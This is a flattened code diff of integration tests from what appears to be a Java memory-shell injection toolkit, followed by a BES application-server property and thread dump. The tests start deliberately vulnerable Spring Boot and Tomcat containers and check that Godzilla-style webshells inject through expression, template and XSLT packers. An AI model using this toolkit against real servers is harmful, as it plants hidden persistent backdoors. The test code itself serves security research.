public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath()); public static final MountableFile springBoot3JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3", "build", "libs", "vul-springboot3.jar").toAbsolutePath());
public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath()); public static final MountableFile springBoot359JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot359", "build", "libs", "vul-springboot359.jar").toAbsolutePath());
public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath()); public static final MountableFile springBoot3WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot3-webflux", "build", "libs", "vul-springboot3-webflux.jar").toAbsolutePath());
public static final MountableFile springBoot4JarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4", "build", "libs", "vul-springboot4.jar").toAbsolutePath());
public static final MountableFile springBoot4WebfluxJarFile = MountableFile.forHostPath(Path.of("..", "vul", "vul-springboot4-webflux", "build", "libs", "vul-springboot4-webflux.jar").toAbsolutePath());
public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath(); public static final Path neoGeorgDockerfile = Path.of("..", "assets", "neoreg", "Dockerfile").toAbsolutePath();
@@ -381,7 +381,8 @@ public class ShellAssertion {
} }
if (Packers.SpELSpringGzipJDK17.equals(packer) if (Packers.SpELSpringGzipJDK17.equals(packer)
|| Packers.OGNLSpringGzipJDK17.equals(packer) || Packers.OGNLSpringGzipJDK17.equals(packer)
|| Packers.JXPathSpringGzipJDK17.equals(packer)) { || Packers.JXPathSpringGzipJDK17.equals(packer)
|| Packers.FreemarkerSpELSpringGzipJDK17.equals(packer)) {
injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5)); injectorConfig.setInjectorClassName("org.springframework.expression." + INJECTOR_CLASS_NAMES[new Random().nextInt(INJECTOR_CLASS_NAMES.length)] + getRandomString(5));
} }
@@ -429,7 +430,7 @@ public class ShellAssertion {
case Rhino -> VulTool.postIsOk(url + "/rhino", content); case Rhino -> VulTool.postIsOk(url + "/rhino", content);
case BeanShell -> VulTool.postIsOk(url + "/bsh", content); case BeanShell -> VulTool.postIsOk(url + "/bsh", content);
case JinJava -> VulTool.postIsOk(url + "/jinjava", content); case JinJava -> VulTool.postIsOk(url + "/jinjava", content);
case Freemarker -> VulTool.postIsOk(url + "/freemarker", content); case Freemarker, FreemarkerScriptEngine, FreemarkerSpELSpringGzip, FreemarkerSpELSpringGzipJDK17 -> VulTool.postIsOk(url + "/freemarker", content);
case Velocity -> VulTool.postIsOk(url + "/velocity", content); case Velocity -> VulTool.postIsOk(url + "/velocity", content);
case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content); case JavaDeserialize -> VulTool.postIsOk(url + "/java_deserialize", content);
case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content); case JavaCommonsBeanutils16 -> VulTool.postIsOk(url + "/java_deserialize/cb161", content);
@@ -444,6 +445,7 @@ public class ShellAssertion {
case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content); case ScriptEngineJar -> VulTool.postIsOk(url + "/snakeYaml", content);
case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content); case GroovyTransformJar -> VulTool.postIsOk(url + "/fastjson", content);
case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content); case XMLDecoderScriptEngine, XMLDecoderDefineClass -> VulTool.postIsOk(url + "/xmlDecoder", content);
case XSLT, XSLTScriptEngine -> VulTool.postIsOk(url + "/xslt", content);
case Base64 -> VulTool.postIsOk(url + "/b64", content); case Base64 -> VulTool.postIsOk(url + "/b64", content);
case BigInteger -> VulTool.postIsOk(url + "/biginteger", content); case BigInteger -> VulTool.postIsOk(url + "/biginteger", content);
case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content); case XxlJob -> VulTool.xxlJobExecutor(url + "/run", content);
@@ -0,0 +1,53 @@
package com.reajason.javaweb.integration.memshell.springwebflux;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
public class SpringBoot4WebFluxContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:21.0.11_10-jdk")
.jarFile(ContainerTool.springBoot4WebfluxJarFile)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebFlux)
.targetJdkVersion(Opcodes.V21)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.jattachFile(null)
.supportedShellTypes(List.of(
ShellType.SPRING_WEBFLUX_WEB_FILTER,
ShellType.SPRING_WEBFLUX_HANDLER_METHOD,
ShellType.NETTY_HANDLER
))
.testPackers(List.of(Packers.Base64))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -59,7 +59,8 @@ public class SpringBoot3ExpressionContainerTest {
return Stream.of( return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17), arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17) arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzipJDK17)
); );
} }
@@ -0,0 +1,91 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.AbstractContainerTest;
import com.reajason.javaweb.integration.ContainerTestConfig;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.Network;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.List;
import java.util.stream.Stream;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
public class SpringBoot4ContainerTest extends AbstractContainerTest {
private static final ContainerTestConfig CONFIG = ContainerTestConfig.builder()
.imageName("eclipse-temurin:21.0.11_10-jdk")
.jarFile(ContainerTool.springBoot4JarFile)
.jakarta(true)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.SpringWebMvc)
.pidScript(ContainerTool.springbootPid)
.targetJdkVersion(Opcodes.V21)
.enableJspPackerTest(false)
.contextPath("")
.healthCheckPath("/test")
.supportedShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER,
ShellType.SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.assertLogs(false)
.probeShellTypes(List.of(
ShellType.SPRING_WEBMVC_JAKARTA_INTERCEPTOR,
ShellType.SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER
))
.build();
private static final ContainerTestConfig TOMCAT_CONFIG = ContainerTestConfig.builder()
.imageName("springboot4")
.server(Server.Tomcat)
.targetJdkVersion(Opcodes.V21)
.supportedShellTypes(List.of(
ShellType.JAKARTA_FILTER,
// ShellType.LISTENER,
ShellType.JAKARTA_VALVE,
ShellType.JAKARTA_WEBSOCKET,
ShellType.AGENT_FILTER_CHAIN,
ShellType.CATALINA_AGENT_CONTEXT_VALVE
))
.testPackers(List.of(Packers.H2))
.unSupportedShellTools(List.of(ShellTool.AntSword))
.build();
static Network network = newNetwork();
@Container
public static final GenericContainer<?> python = buildPythonContainer(network);
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG, network);
static Stream<Arguments> tomcatCasesProvider() {
return generateTestCases(TOMCAT_CONFIG);
}
@ParameterizedTest(name = "{0}|{1}{2}|{3}")
@MethodSource("tomcatCasesProvider")
void testTomcat(String imageName, String shellType, String shellTool, Packers packer) {
runShellInject(TOMCAT_CONFIG, shellType, shellTool, packer);
}
@Override
protected ContainerTestConfig getConfig() {
return CONFIG;
}
}
@@ -0,0 +1,71 @@
package com.reajason.javaweb.integration.memshell.springwebmvc;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
@Slf4j
public class SpringBoot4ExpressionContainerTest {
public static final String imageName = "springboot4";
@Container
public final static GenericContainer<?> container = new GenericContainer<>("eclipse-temurin:21.0.11_10-jdk")
.withCopyFileToContainer(springBoot4JarFile, "/app/app.jar")
.withCommand("java -jar /app/app.jar")
.withCopyToContainer(jattachFile, "/jattach")
.withCopyToContainer(springbootPid, "/fetch_pid.sh")
.waitingFor(Wait.forHttp("/test"))
.withExposedPorts(8080);
public static String getUrl(GenericContainer<?> container) {
String host = container.getHost();
int port = container.getMappedPort(8080);
String url = "http://" + host + ":" + port;
log.info("container started, app url is : {}", url);
return url;
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
log.info(logs);
// assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.SpELSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.OGNLSpringGzipJDK17),
arguments(imageName, ShellType.JAKARTA_VALVE, ShellTool.Godzilla, Packers.JXPathSpringGzipJDK17)
);
}
@ParameterizedTest(name = "{0}-expression|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V21, packer, container);
}
}
@@ -61,6 +61,7 @@ public class Tomcat8ExpressionContainerTest {
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Rhino),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.JinJava),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker), arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Freemarker),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.FreemarkerSpELSpringGzip),
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity) arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.Velocity)
); );
} }
@@ -0,0 +1,58 @@
package com.reajason.javaweb.integration.memshell.tomcat;
import com.reajason.javaweb.Server;
import com.reajason.javaweb.integration.ShellAssertion;
import com.reajason.javaweb.memshell.ShellTool;
import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.packer.Packers;
import lombok.extern.slf4j.Slf4j;
import net.bytebuddy.jar.asm.Opcodes;
import org.junit.jupiter.api.AfterAll;
import org.junit.jupiter.params.ParameterizedTest;
import org.junit.jupiter.params.provider.Arguments;
import org.junit.jupiter.params.provider.MethodSource;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.containers.wait.strategy.Wait;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
import java.util.stream.Stream;
import static com.reajason.javaweb.integration.ContainerTool.*;
import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException;
import static org.hamcrest.MatcherAssert.assertThat;
import static org.junit.jupiter.params.provider.Arguments.arguments;
/**
* @author ReaJason
* @since 2026/8/30
*/
@Slf4j
@Testcontainers
public class Tomcat8XSLTContainerTest {
public static final String imageName = "tomcat:8-jre8";
@Container
public final static GenericContainer<?> container = new GenericContainer<>(imageName)
.withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war")
.waitingFor(Wait.forHttp("/app"))
.withExposedPorts(8080);
static Stream<Arguments> casesProvider() {
return Stream.of(
arguments(imageName, ShellType.FILTER, ShellTool.Godzilla, Packers.XSLTScriptEngine)
);
}
@AfterAll
static void tearDown() {
String logs = container.getLogs();
assertThat("Logs should not contain any exceptions", logs, doesNotContainException());
}
@ParameterizedTest(name = "{0}-xslt|{1}{2}|{3}")
@MethodSource("casesProvider")
void test(String imageName, String shellType, String shellTool, Packers packer) {
ShellAssertion.shellInjectIsOk(getUrl(container), Server.Tomcat, shellType, shellTool, Opcodes.V1_8, packer, container);
}
}
@@ -287,6 +287,32 @@ public class ProbeTestConfig {
.supportsSpringWebMvc(true); .supportsSpringWebMvc(true);
} }
public static ProbeTestConfigBuilder springbootBes(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
.jarFile(jarFile)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.BES)
.contextPath("")
.healthCheckPath("/test")
.supportsFilterProbe(false)
.supportsSpringWebMvc(true);
}
public static ProbeTestConfigBuilder springbootTongweb(String imageName, MountableFile jarFile) {
return builder()
.imageName(imageName)
.jarFile(jarFile)
.jarDeployPath("/app/app.jar")
.command("java -jar /app/app.jar")
.server(Server.TongWeb)
.contextPath("")
.healthCheckPath("/test")
.supportsFilterProbe(false)
.supportsSpringWebMvc(true);
}
public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) { public static ProbeTestConfigBuilder springwebflux(String imageName, MountableFile jarFile) {
return builder() return builder()
.imageName(imageName) .imageName(imageName)
@@ -0,0 +1,34 @@
package com.reajason.javaweb.integration.probe.springwebflux;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
public class SpringBoot4WebFluxContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig
.springwebflux("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4WebfluxJarFile)
.expectedJdkVersion("JDK|21.0.11|65")
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -0,0 +1,36 @@
package com.reajason.javaweb.integration.probe.springwebmvc;
import com.reajason.javaweb.integration.ContainerTool;
import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest;
import com.reajason.javaweb.integration.probe.ProbeTestConfig;
import net.bytebuddy.jar.asm.Opcodes;
import org.testcontainers.containers.GenericContainer;
import org.testcontainers.junit.jupiter.Container;
import org.testcontainers.junit.jupiter.Testcontainers;
/**
* @author ReaJason
* @since 2026/08/21
*/
@Testcontainers
public class SpringBoot4ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig
.springboot("eclipse-temurin:21.0.11_10-jdk", ContainerTool.springBoot4JarFile)
.expectedJdkVersion("JDK|21.0.11|65")
.targetJdkVersion(Opcodes.V21)
.build();
@Container
public static final GenericContainer<?> container = buildContainer(CONFIG);
@Override
protected ProbeTestConfig getConfig() {
return CONFIG;
}
@Override
protected GenericContainer<?> getContainer() {
return container;
}
}
@@ -18,7 +18,7 @@ import java.time.Duration;
public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest { public class OpenLiberty25ContainerTest extends AbstractProbeContainerTest {
private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9") private static final ProbeTestConfig CONFIG = ProbeTestConfig.openLiberty("open-liberty:25.0.0.12-full-java17-openj9")
.expectedJdkVersion("JRE|17.0.19|61") .expectedJdkVersion("JRE|17.0.20|61")
.targetJdkVersion(Opcodes.V1_8) .targetJdkVersion(Opcodes.V1_8)
.waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5))) .waitStrategy(Wait.forHttp("/app/").forPort(9080).withStartupTimeout(Duration.ofMinutes(5)))
.privilegedMode(true) .privilegedMode(true)
@@ -0,0 +1,817 @@
# Generated At 2026-08-25 10:42:41
SystemProps:
java.specification.version: 17
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToScan: log4j-web*.jar,log4j-taglib*.jar,log4javascript*.jar,slf4j-taglib*.jar
bes.useNaming: true
sun.jnu.encoding: UTF-8
com.bes.enterprise.web.util.scan.StandardJarScanFilter.jarsToSkip: bes-server-jpa-integration,bes-jdbcra,org.codehaus.woodstox.stax2-api,bes-web-glue,org.metatype.sxc.sxc-jaxb-core,commons-lang,besmq-ra,bes-webapp-compressor,derbyclient,bes-ejb-glue,bes-deployment,org.apache.xbean.xbean-reflect,bes-admin-command,org.apache.johnzon.johnzon,org.apache.openwebbeans.openwebbeans-ee-common,bes-connector-runtime,org.apache.commons.commons-codec,bes-ee-loader,org.codehaus.woodstox.woodstox-core-asl,javaee,org.apache.commons.commons-collections4,javaee-api-endorsed,bes-config-remote-adapter,bes-descriptor,bes-server-internal,bes-logger,bes-webtier-util,bes-webtier-coyote,javax.persistence,bes-webtier-jsp-api,bes-ee-integration,bes-engine,bootstrap,bes-jdbc-fastcp,bes-patch,commons-codec,org.apache.bval-core,org.mozilla.rhino,bes-launcher,bes-server-api,org.apache.bval-jsr,xmpcore-,bes-server-jee-accessors,commons-beanutils,org.apache.myfaces.core.myfaces-api,org.apache.openwebbeans.openwebbeans-jsf,org.objectweb.howl.howl,bes-webtier-servlet-api,besmq-mgmt,org.apache.xbean.xbean-naming,bes-server-loader,org.apache.commons.commons-cli,org.apache.geronimo.specs.geronimo-osgi-locator,bes-distributed-session-core,org.apache.openwebbeans.openwebbeans-web,bes-webtier-jasper,bes-config-remote,bes-gmssl-adapter,org.apache.commons.commons-pool2,bes-config-serverbeans,bes-server-quartz-shade,org.apache.xbean.xbean-finder-shaded,bes-ee-myfaces-connector,commons-dbcp,commons-io,bes-server-client,bes-server-http,org.apache.openwebbeans.openwebbeans-ejb,org.codehaus.swizzle.swizzle-stream,bes-monitor,derby,commons-logging,bes-server-ejbd,bes-deployment-common,bes-config-parser,metadata-extractor,org.metatype.sxc.sxc-runtime,bes-logger-adapter,org.hsqldb.hsqldb,org.apache.commons.commons-lang3,commons-collections,bes-jmx-remote,bes-cli-command,bes-command-api,bes-connector-transaction,org.eclipse.jdt.ecj,commons-digester,bes-server-core,bes-api,activation,commons-fileupload,org.apache.openwebbeans.openwebbeans-el22,besmq-client,org.eclipse.persistence.eclipselink,bes-ee-common,bes-server-javaagent,com.sun.xml.bind.jaxb,org.apache.openwebbeans.openwebbeans-impl,bes-license,org.apache.xbean.xbean-bundleutils,org.apache.commons.commons-logging,javax.mail,org.apache.openwebbeans.openwebbeans-spi,bes-engine-ha,org.slf4j.slf4j-jdk14,org.apache.openwebbeans.openwebbeans-ee,org.ow2.asm.asm-all,besmq-common,bes-websocket-api,org.apache.commons.commons-beanutils-core,org.apache.xbean.xbean-asm5-shaded,ant,commons-httpclient,bes-webtier-el-api,bes-server-jee,mbean-annotation-api,bes-gmssl,bes-ee-mq-connector,bes-common-util,bes-server-rest,org.apache.commons.commons-digester,bes-websocket
com.bes.resource.ejb.leakDetect: false
bes.loader: bes-system
sun.arch.data.model: 64
java.vendor.url: https://adoptium.net/
sun.boot.library.path: /opt/java/openjdk/lib
com.bes.hostName: 10a3b603cce2
sun.java.command: com.bes.enterprise.startup.ASMain -instancedir /opt/bes -verbose true -debug false start
jdk.debug: release
java.specification.vendor: Oracle Corporation
java.naming.factory.url.pkgs: com.bes.enterprise.naming:com.bes.enterprise.ejb.core.ivm.naming
java.version.date: 2026-07-21
java.home: /opt/java/openjdk
jgroups.loader: "${bes.home}/lib/jgroups/*.jar"
javax.net.ssl.certificateKeyFile: /opt/bes/conf/security/key.pem
file.separator: /
javax.net.ssl.certificateChainFile: /opt/bes/conf/security/chain.pem
java.vm.compressedOopsMode: 32-bit
javax.net.ssl.certificateFile: /opt/bes/conf/security/cert.pem
line.separator:
java.vm.specification.vendor: Oracle Corporation
java.specification.name: Java Platform API Specification
com.bes.instanceRoot: /opt/bes
jdbc.drivers: org.apache.derby.jdbc.ClientDriver
package.definition: sun.,java.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.naming.,com.bes.enterprise.web.
sun.management.compiler: HotSpot 64-Bit Tiered Compilers
java.runtime.version: 17.0.20+8
com.bes.enterprise.ejb.configurator: com.bes.enterprise.ejb.BESEjbConfigurationFactory
user.name: root
java.security.policy: /opt/bes/conf/security/server.policy
com.bes.javaRoot: /opt/java/openjdk
file.encoding: UTF-8
java.vendor.version: Temurin-17.0.20+8
derby.system.home: /opt/bes
java.io.tmpdir: /tmp
java.version: 17.0.20
java.vm.specification.name: Java Virtual Machine Specification
native.encoding: UTF-8
java.library.path: /opt/bes/lib:/opt/bes/modules/native/linux/aarch64
java.vendor: Eclipse Adoptium
ANTLR_USE_DIRECT_CLASS_LOADING: true
java.specification.maintenance.version: 1
java.rmi.server.randomIDs: true
sun.io.unicode.encoding: UnicodeLittle
com.bes.enterprise.embedder.source: ServerListener
bcs.loader: "${bes.home}/lib/bcs/*.jar"
bes.home: /opt/bes
com.bes.enterprise.startup.ExitOnInitFailure: true
javax.xml.stream.XMLInputFactory: com.bes.wstx.stax.WstxInputFactory
java.class.path: /opt/bes/lib/bootstrap/bes-common-core.jar:/opt/bes/lib/bootstrap/bes-config-parser.jar:/opt/bes/lib/bootstrap/bes-config-serverbeans.jar:/opt/bes/lib/bootstrap/bes-gmssl.jar:/opt/bes/lib/bootstrap/bes-gson.jar:/opt/bes/lib/bootstrap/bes-httpcore5.jar:/opt/bes/lib/bootstrap/bes-license.jar:/opt/bes/lib/bootstrap/bes-logger.jar:/opt/bes/lib/bootstrap/bes-patch.jar:/opt/bes/lib/bootstrap/bootstrap.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-codec_1.14.jar:/opt/bes/lib/3rd/bootstrap/org.apache.commons.commons-logging_1.2.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.stax2-api_3.1.4.jar:/opt/bes/lib/3rd/bootstrap/org.codehaus.woodstox.woodstox-core-asl_5.0.3.jar
java.vm.vendor: Eclipse Adoptium
com.bes.enterprise.web.util.buf.StringCache.byte.enabled: true
bes.base: /opt/bes
user.timezone: Etc/UTC
com.bes.instanceName: server
java.vm.specification.version: 17
os.name: Linux
sun.java.launcher: SUN_STANDARD
user.country: US
sun.cpu.endian: little
com.bes.enterprise.deployments.classpath: false
user.home: /root
user.language: en
com.bes.enterprise.ejb.core.security.JaccProvider: com.bes.enterprise.ejb.core.security.jacc.BasicJaccProvider
com.bes.verboseMode: true
com.bes.enterprise.deployments.classpath.filter.systemapps: false
java.awt.headless: true
package.access: sun.,com.bes.enterprise.webtier.,com.bes.enterprise.web.crane.,com.bes.enterprise.web.jasper.,com.bes.enterprise.web.
server.loader:
com.bes.enterprise.provider.default: com.bes.enterprise
java.naming.factory.initial: com.bes.jndi.CtxFactory
java.net.preferIPv4Stack: true
path.separator: :
java.security.egd: file:/dev/./urandom
common.loader: "${bes.base}/lib/*.jar","${bes.home}/lib/*.jar","${bes.home}/lib/3rd/*.jar","${bes.home}/modules/besmq/lib/client/*.jar","${bes.home}/modules/besmq/lib/admin/*.jar","${bes.home}/modules/besmq/lib/besmq-common.jar","${bes.home}/modules/besmq/lib/besmq-mss.jar"
os.version: 7.0.14-orbstack-00380-ga7e0a2dc9535
java.runtime.name: OpenJDK Runtime Environment
org.apache.security.jacc.EJBMethodPermission.methodInterfaces: BusinessLocalHome,BusinessRemoteHome,BusinessRemote,BusinessLocal
com.bes.resource.leakDetect: false
bes.version: 10.0
java.vm.name: OpenJDK 64-Bit Server VM
org.objectweb.howl./opt/bes/repository/txlog/tx_1.log.locked: true
java.vendor.url.bug: https://github.com/adoptium/adoptium-support/issues
com.bes.installRoot: /opt/bes
com.bes.enterprise.deployment.hotdeploy.dir: /opt/bes/hotdeploy
user.dir: /opt/bes
bval.in-container: true
os.arch: aarch64
shared.loader: "${bes.base}/lib/shared/classes","${bes.base}/lib/shared/*.jar","${bes.home}/lib/shared/classes","${bes.home}/lib/shared/*.jar"
java.util.logging.manager: com.bes.enterprise.server.logging.BESClassLoaderLogManager
org.objectweb.howl./opt/bes/repository/txlog/tx_2.log.locked: true
java.vm.info: mixed mode, sharing
java.vm.version: 17.0.20+8
javax.security.jacc.PolicyConfigurationFactory.provider: com.bes.enterprise.ejb.core.security.JaccProvider$Factory
java.class.version: 61.0
com.bes.enterprise.log.outAndErrNotRedirect: false
===========================================
ThreadStacks:
"KeepAliveTimer" #53 daemon [TIMED_WAITING] on java.util.TaskQueue@5c197b53
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.util.TimerThread.mainLoop(Timer.java:563)
at [email protected]/java.util.TimerThread.run(Timer.java:516)
"Spark_2" #82 [TIMED_WAITING] on com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl@87f8d44
java.lang.Thread.State: TIMED_WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at com.bes.ejb.spark.tcp.threadpool.WorkQueueImpl.getTask(WorkQueueImpl.java:202)
at com.bes.ejb.spark.tcp.threadpool.WorkThreadImpl.run(WorkThreadImpl.java:59)
"main" #1 [WAITING] on com.bes.enterprise.server.builder.BesWebModule@5b9112b
java.lang.Thread.State: WAITING
at [email protected]/java.lang.Object.wait(Native Method)
at [email protected]/java.lang.Object.wait(Object.java:338)
at com.bes.enterprise.server.builder.BesWebModule.await(BesWebModule.java:285)
at com.bes.enterprise.server.builder.BesWebModule.awaitForShutdown(BesWebModule.java:250)
at com.bes.enterprise.server.builder.BesWebModule.start(BesWebModule.java:241)
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at [email protected]/jdk.internal.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:77)
at [email protected]/jdk.internal.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at [email protected]/java.lang.reflect.Method.invoke(Method.java:569)
at app//com.bes.enterprise.appserver.startup.Bootstrap.start(Bootstrap.java:510)
at app//com.bes.enterprise.appserver.startup.Bootstrap.main(Bootstrap.java:641)
at app//com.bes.enterprise.startup.ASMain.main(ASMain.java:37)
"jmsra-WorkerThread-1" #48 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@66781f39
java.lang.Thread.State: WAITING
at [email protected]/jdk.internal.misc.Unsafe.park(Native Method)
at [email protected]/java.util.concurrent.locks.LockSupport.park(LockSupport.java:341)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionNode.block(AbstractQueuedSynchronizer.java:506)
at [email protected]/java.util.concurrent.ForkJoinPool.unmanagedBlock(ForkJoinPool.java:3465)
at [email protected]/java.util.concurrent.ForkJoinPool.managedBlock(ForkJoinPool.java:3436)
at [email protected]/java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:1630)
at [email protected]/java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:435)
